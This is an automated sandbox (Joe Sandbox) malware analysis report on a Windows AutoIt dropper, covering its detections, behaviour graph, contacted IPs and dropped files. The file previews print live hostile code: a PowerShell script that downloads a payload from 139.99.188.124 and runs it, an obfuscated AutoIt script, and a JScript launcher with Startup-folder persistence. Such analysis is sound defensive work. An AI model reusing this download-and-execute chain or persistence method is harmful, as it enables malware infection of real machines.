Security Software Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts2
Registry Run Keys / Startup Folder		2
Valid Accounts		Cached Domain Credentials31
Virtualization/Sandbox Evasion		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
Virtualization/Sandbox Evasion		DCSync3
Process Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
Access Token Manipulation		Proc Filesystem11
Application Window Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
Process Injection		/etc/passwd and /etc/shadow1
System Owner/User Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1577210 Sample: RMBOriPHVJ.exe Startdate: 18/12/2024 Architecture: WINDOWS Score: 100 50 nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs 2->50 54 Icon mismatch, binary includes an icon from a different legit application in order to fool users 2->54 56 Multi AV Scanner detection for submitted file 2->56 58 Sigma detected: Drops script at startup location 2->58 60 9 other signatures 2->60 10 RMBOriPHVJ.exe 1 2->10         started        14 wscript.exe 1 1 2->14         started        signatures3 process4 file5 48 C:\Users\Public\PublicProfile.ps1, ASCII 10->48 dropped 68 Suspicious powershell command line found 10->68 70 Binary is likely a compiled AutoIt script file 10->70 72 Bypasses PowerShell execution policy 10->72 16 powershell.exe 17 10->16         started        19 powershell.exe 14 16 10->19         started        74 Windows Scripting host queries suspicious COM object (likely to drop second stage) 14->74 23 SwiftWrite.pif 14->23         started        signatures6 process7 dnsIp8 38 C:\Users\Public\Secure.au3, Unicode 16->38 dropped 25 Guard.exe 4 16->25         started        29 conhost.exe 16->29         started        52 139.99.188.124, 49705, 49706, 80 OVHFR Canada 19->52 40 C:\Users\Publicbehaviorgraphuard.exe, PE32 19->40 dropped 62 Drops PE files to the user root directory 19->62 64 Powershell drops PE file 19->64 31 conhost.exe 19->31         started        file9 signatures10 process11 file12 44 C:\Users\user\AppData\...\SwiftWrite.pif, PE32 25->44 dropped 46 C:\Users\user\AppData\Local\...\SwiftWrite.js, ASCII 25->46 dropped 66 Drops PE files with a suspicious file extension 25->66 33 cmd.exe 2 25->33         started        signatures13 process14 file15 42 C:\Users\user\AppData\...\SwiftWrite.url, MS 33->42 dropped 36 conhost.exe 33->36         started        process16

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
RMBOriPHVJ.exe62%VirustotalBrowse
RMBOriPHVJ.exe47%ReversingLabsWin64.Adware.RedCap

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\Public\Guard.exe8%ReversingLabs
C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif8%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://139.99.188.124/mzmLv.txt0%Avira URL Cloudsafe
http://139.99.HB0%Avira URL Cloudsafe
http://139.99.188.1240%Avira URL Cloudsafe
http://139.99.188.124/hUrTgQM0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
unknown
unknownfalse
    		high

    Contacted URLs

    NameMaliciousAntivirus DetectionReputation
    http://139.99.188.124/hUrTgQMtrue
    • Avira URL Cloud: safe
    		unknown
    http://139.99.188.124/mzmLv.txttrue
    • Avira URL Cloud: safe
    		unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://www.autoitscript.com/autoit3/JGuard.exe, 00000006.00000002.2704381581.0000000000D69000.00000002.00000001.01000000.00000007.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000000B.00000000.1730272119.0000000000A09000.00000002.00000001.01000000.00000009.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drfalse
      		high
      http://nuget.org/NuGet.exepowershell.exe, 00000004.00000002.1632498792.0000018ABFC4F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpfalse
        		high
        http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000004.00000002.1615547724.0000018AB1233000.00000004.00000800.00020000.00000000.sdmpfalse
          		high
          http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmpfalse
            		high
            http://139.99.188.124powershell.exe, 00000004.00000002.1615547724.0000018AB0D24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmptrue
            • Avira URL Cloud: safe
            		unknown
            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              https://go.micropowershell.exe, 00000004.00000002.1615547724.0000018AB0D24000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                https://contoso.com/powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  https://nuget.org/nuget.exepowershell.exe, 00000004.00000002.1632498792.0000018ABFC4F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpfalse
                    		high
                    https://contoso.com/Licensepowershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      https://contoso.com/Iconpowershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        https://oneget.orgXpowershell.exe, 00000004.00000002.1615547724.0000018AB1233000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://139.99.HBpowershell.exe, 00000004.00000002.1615547724.0000018AB1206000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://aka.ms/pscore68powershell.exe, 00000004.00000002.1615547724.0000018AAFBE1000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            https://www.autoitscript.com/autoit3/Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drfalse
                              		high
                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000004.00000002.1615547724.0000018AAFBE1000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://github.com/Pester/Pesterpowershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://oneget.orgpowershell.exe, 00000004.00000002.1615547724.0000018AB1233000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high

                                    World Map of Contacted IPs

                                    • No. of IPs < 25%
                                    • 25% < No. of IPs < 50%
                                    • 50% < No. of IPs < 75%
                                    • 75% < No. of IPs

                                    Public IPs

                                    IPDomainCountryFlagASNASN NameMalicious
                                    139.99.188.124
                                    		unknownCanada
                                    		16276OVHFRtrue

                                    General Information

                                    Joe Sandbox version:41.0.0 Charoite
                                    Analysis ID:1577210
                                    Start date and time:2024-12-18 09:30:17 +01:00
                                    Joe Sandbox product:CloudBasic
                                    Overall analysis duration:0h 9m 3s
                                    Hypervisor based Inspection enabled:false
                                    Report type:full
                                    Cookbook file name:default.jbs
                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                    Number of analysed new started processes analysed:17
                                    Number of new started drivers analysed:0
                                    Number of existing processes analysed:0
                                    Number of existing drivers analysed:0
                                    Number of injected processes analysed:0
                                    Technologies:
                                    • HCA enabled
                                    • EGA enabled
                                    • AMSI enabled
                                    Analysis Mode:default
                                    Analysis stop reason:Timeout
                                    Sample name:RMBOriPHVJ.exe
                                    renamed because original name is a hash value
                                    Original Sample Name:fb54005eb5984dcea9113c27a18825aee74cccd386e1e9604b4db06ef477d84f.exe
                                    Detection:MAL
                                    Classification:mal100.expl.evad.winEXE@15/12@3/1
                                    EGA Information:
                                    • Successful, ratio: 75%
                                    HCA Information:
                                    • Successful, ratio: 99%
                                    • Number of executed functions: 48
                                    • Number of non-executed functions: 236
                                    Cookbook Comments:
                                    • Found application associated with file extension: .exe

                                    Warnings

                                    • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                    • Excluded IPs from analysis (whitelisted): 172.202.163.200
                                    • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                    • Execution Graph export aborted for target powershell.exe, PID 6872 because it is empty
                                    • Not all processes where analyzed, report is missing behavior information
                                    • Report creation exceeded maximum time and may have missing disassembly code information.
                                    • Report size exceeded maximum capacity and may have missing behavior information.
                                    • Report size exceeded maximum capacity and may have missing disassembly code.
                                    • Report size getting too big, too many NtOpenKeyEx calls found.
                                    • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                    • Report size getting too big, too many NtQueryValueKey calls found.
                                    • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                    Simulations

                                    Behavior and APIs

                                    TimeTypeDescription
                                    03:31:19API Interceptor74x Sleep call for process: powershell.exe modified
                                    03:32:08API Interceptor2646x Sleep call for process: Guard.exe modified
                                    03:32:26API Interceptor1593x Sleep call for process: SwiftWrite.pif modified
                                    09:31:35AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

                                    Joe Sandbox View / Context

                                    IPs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    139.99.188.124S6x3K8vzCA.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/wPBPjuY.txt
                                    PPbimZI4LV.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/BlQMSgJx.txt
                                    l5VhEpwzJy.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/jiJNz.txt
                                    duyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/QWCheljD.txt
                                    pt8GJiNZDT.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/QWCheljD.txt
                                    FwR7as4xUq.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124/EPDjSfs.txt

                                    Domains

                                    ⊘No context

                                    ASNs

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    OVHFRKE2yNJdV55.exeGet hashmaliciousPureCrypterBrowse
                                    • 139.99.188.124
                                    JnEZtj3vtN.exeGet hashmaliciousPureCrypterBrowse
                                    • 139.99.188.124
                                    uzI7DAON53.exeGet hashmaliciousPureCrypterBrowse
                                    • 139.99.188.124
                                    JXEsthReim.exeGet hashmaliciousPureCrypter, PureLog StealerBrowse
                                    • 139.99.188.124
                                    4a5MWYOGVy.exeGet hashmaliciousPureCrypterBrowse
                                    • 139.99.188.124
                                    YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124
                                    S6x3K8vzCA.exeGet hashmaliciousUnknownBrowse
                                    • 139.99.188.124
                                    x0EMKX5G1g.exeGet hashmaliciousPureCrypter, PureLog StealerBrowse
                                    • 139.99.188.124
                                    ToYwLfhi9B.exeGet hashmaliciousPureCrypter, PureLog StealerBrowse
                                    • 139.99.188.124
                                    JXEsthReim.exeGet hashmaliciousPureCrypter, PureLog StealerBrowse
                                    • 139.99.188.124

                                    JA3 Fingerprints

                                    ⊘No context

                                    Dropped Files

                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                    C:\Users\Public\Guard.exeS6x3K8vzCA.exeGet hashmaliciousUnknownBrowse
                                      PPbimZI4LV.exeGet hashmaliciousUnknownBrowse
                                        l5VhEpwzJy.exeGet hashmaliciousUnknownBrowse
                                          duyba.lnk.download.lnkGet hashmaliciousUnknownBrowse
                                            pt8GJiNZDT.exeGet hashmaliciousUnknownBrowse
                                              c2.htaGet hashmaliciousXWormBrowse
                                                c2.htaGet hashmaliciousXWormBrowse
                                                  c2.htaGet hashmaliciousXWormBrowse
                                                    c2.htaGet hashmaliciousXWormBrowse
                                                      FwR7as4xUq.exeGet hashmaliciousUnknownBrowse

                                                        Created / dropped Files

                                                        C:\Users\Public\Guard.exe

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):893608
                                                        Entropy (8bit):6.62028134425878
                                                        Encrypted:false
                                                        SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                        MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                        SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                        SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                        SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 8%
                                                        Joe Sandbox View:
                                                        • Filename: S6x3K8vzCA.exe, Detection: malicious, Browse
                                                        • Filename: PPbimZI4LV.exe, Detection: malicious, Browse
                                                        • Filename: l5VhEpwzJy.exe, Detection: malicious, Browse
                                                        • Filename: duyba.lnk.download.lnk, Detection: malicious, Browse
                                                        • Filename: pt8GJiNZDT.exe, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: c2.hta, Detection: malicious, Browse
                                                        • Filename: FwR7as4xUq.exe, Detection: malicious, Browse
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                        C:\Users\Public\PublicProfile.ps1

                                                        Download File
                                                        Process:C:\Users\user\Desktop\RMBOriPHVJ.exe
                                                        File Type:ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):483
                                                        Entropy (8bit):5.261456224734019
                                                        Encrypted:false
                                                        SSDEEP:12:f73/o5FEoFnV/9LBzFj0zUQbnRS6SxJMnCPTFM:f73/SCknZ9LzjYnRSb8Cba
                                                        MD5:5A6CDA18C0DB1C49B495BD9703540AEC
                                                        SHA1:EDAEC779CE8EE5BD6748B0C33F081DB1A9F842AF
                                                        SHA-256:EB0F929A64229A91D846994370D572CCB088148945FD60F358D8131B126171CF
                                                        SHA-512:5175321598F5CB39B53944E324B7ED6219A465E079B678D3F55C403EC0EE1E2188AE84E72100E3DDDD3D982910187C9AA4B512DFDF05F17D918800466F346C5C
                                                        Malicious:true
                                                        Preview:[string]$fU5L = "http://139.99.188.124/mzmLv.txt"..[string]$oF6L = "C:\Users\Public\Secure.au3"..[string]$exePath = "C:\Users\Public\Guard.exe"....# Download the content from the URL..$wResp = New-Object System.Net.WebClient..$fCont = $wResp.DownloadString($fU5L)....# Save the downloaded content to the output file..Set-Content -Path $oF6L -Value $fCont -Encoding UTF8....# Run the executable with the output file as an argument..Start-Process -FilePath $exePath -ArgumentList $oF6L

                                                        C:\Users\Public\Secure.au3

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (1266)
                                                        Category:dropped
                                                        Size (bytes):1246743
                                                        Entropy (8bit):5.142268474765759
                                                        Encrypted:false
                                                        SSDEEP:12288:28V+jcfSRxzFxvS7ePAYzo+QP8DCyQmzN6RW0Gd:qc+xzFxvSeYqdQEDbQuj
                                                        MD5:F6B25C7FD566103DF9B5EBEF8BD79EC7
                                                        SHA1:B77969CAE6D9B8005B0953652FBAEA73E191A626
                                                        SHA-256:7921906BAD7AD51E023FA364DD1C4A382076225A8E2B19595F88F818A3A0C99A
                                                        SHA-512:AF42516275EBA57B08F1FA0AA5E3AF299A9C249BB7A31B4FFC1EEC2DBF1E5ED2564470B078B1C0C2ECD92A23B98AE949E1030E7EA1D63072085308F515E71E10
                                                        Malicious:true
                                                        Preview:.Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]

                                                        C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:data
                                                        Category:dropped
                                                        Size (bytes):64
                                                        Entropy (8bit):0.34726597513537405
                                                        Encrypted:false
                                                        SSDEEP:3:Nlll:Nll
                                                        MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                        SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                        SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                        SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                        Malicious:false
                                                        Preview:@...e...........................................................

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2prw3af0.vpe.ps1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4im25qsv.gs3.psm1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fhlerlel.wqm.psm1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uczdbsoh.aku.ps1

                                                        Download File
                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):60
                                                        Entropy (8bit):4.038920595031593
                                                        Encrypted:false
                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                        Malicious:false
                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                        C:\Users\user\AppData\Local\WordGenius Technologies\G

                                                        Download File
                                                        Process:C:\Users\Public\Guard.exe
                                                        File Type:ASCII text, with very long lines (1266)
                                                        Category:dropped
                                                        Size (bytes):1246740
                                                        Entropy (8bit):5.142228650526134
                                                        Encrypted:false
                                                        SSDEEP:12288:D8V+jcfSRxzFxvS7ePAYzo+QP8DCyQmzN6RW0Gd:Dc+xzFxvSeYqdQEDbQuj
                                                        MD5:C4BE590B28824C667D1632EC67CEA4DA
                                                        SHA1:3A03A6EB0725B6BC689F961D129FAF3D2784C3FB
                                                        SHA-256:1349044737912D3C1AD476D0980F8881CEC1D5CDC8AA70F229FD24BE84FF8E5A
                                                        SHA-512:9F218BA130D2E5ADF5D5AB2061CEB24E2116B0AFA36D6B202037E4F2BDD9756A08AF71F8F88AB8CA47BCBAE1F4AE38F5AEF76A935193BBEED1B496DF1D285EB5
                                                        Malicious:false
                                                        Preview:Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines).$PdBlocksResponseDat = '739119618772'.$VerifiedUnderstoodValidation = 34.$iosymphonyseemscrucial = 50.For $OdHBt = 28 To 865.If $VerifiedUnderstoodValidation = 32 Then.Sqrt(7955).FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 33 Then.ConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5)).DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2)).Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1)).$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1.EndIf.If $VerifiedUnderstoodValidation = 34 Then.$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]

                                                        C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js

                                                        Download File
                                                        Process:C:\Users\Public\Guard.exe
                                                        File Type:ASCII text, with no line terminators
                                                        Category:dropped
                                                        Size (bytes):186
                                                        Entropy (8bit):4.761058342183721
                                                        Encrypted:false
                                                        SSDEEP:3:RiMIpGXfeNH5E5wWAX+TSyCVVh4EkD5yKXW/Zi+0/RaMl85uWAX+TSyCVVh4EkDO:RiJbNHCwWDmLJkDrXW/Zz0tl8wWDmLJX
                                                        MD5:6B09F9AC501B58CCD5BC08B41FF85624
                                                        SHA1:95272508F2347856331B1017A86F63B5F87FCD68
                                                        SHA-256:D5F306EB2125F34C25704C8B9611AA1367A772EF02D7BAA1789D8C7026D17BE6
                                                        SHA-512:721BD6DA01A3DC639958E2D801C1A10B7E0B9D4363B4182219BD6261737D67B172236DC2C651DC753DC91DE6CEB94B74977E8EF1578A262EF5D27A6DC2F428D2
                                                        Malicious:true
                                                        Preview:new ActiveXObject("Wscript.Shell").Run("\"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\SwiftWrite.pif\" \"C:\\Users\\user\\AppData\\Local\\WordGenius Technologies\\G\"")

                                                        C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

                                                        Download File
                                                        Process:C:\Users\Public\Guard.exe
                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                        Category:dropped
                                                        Size (bytes):893608
                                                        Entropy (8bit):6.62028134425878
                                                        Encrypted:false
                                                        SSDEEP:12288:WpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:WTxz1JMyyzlohMf1tN70aw8501
                                                        MD5:18CE19B57F43CE0A5AF149C96AECC685
                                                        SHA1:1BD5CA29FC35FC8AC346F23B155337C5B28BBC36
                                                        SHA-256:D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
                                                        SHA-512:A0C58F04DFB49272A2B6F1E8CE3F541A030A6C7A09BB040E660FC4CD9892CA3AC39CF3D6754C125F7CD1987D1FCA01640A153519B4E2EB3E3B4B8C9DC1480558
                                                        Malicious:true
                                                        Antivirus:
                                                        • Antivirus: ReversingLabs, Detection: 8%
                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R.*.R.*.R.*..C..P.*....S.*._@..a.*._@....*._@..g.*.[j..[.*.[j..w.*.R.+.r.*......*....S.*._@..S.*.R...P.*....S.*.RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

                                                        Download File
                                                        Process:C:\Windows\SysWOW64\cmd.exe
                                                        File Type:MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >), ASCII text, with CRLF line terminators
                                                        Category:dropped
                                                        Size (bytes):99
                                                        Entropy (8bit):4.943821049972357
                                                        Encrypted:false
                                                        SSDEEP:3:HRAbABGQaFyw3pYoCHyg4E2J5yKXW/Zi+URAAy:HRYF5yjoCHhJ23yKXW/Zzyy
                                                        MD5:837A8AFA0534369AF64741AFD86F5093
                                                        SHA1:7569D32D0ADD2EEE25705C4BC101B7898D357370
                                                        SHA-256:C13B04EFBFBFB63EE7B34BB6DD95A7C433C3A81BB08BCB3DE97334D2146EFB81
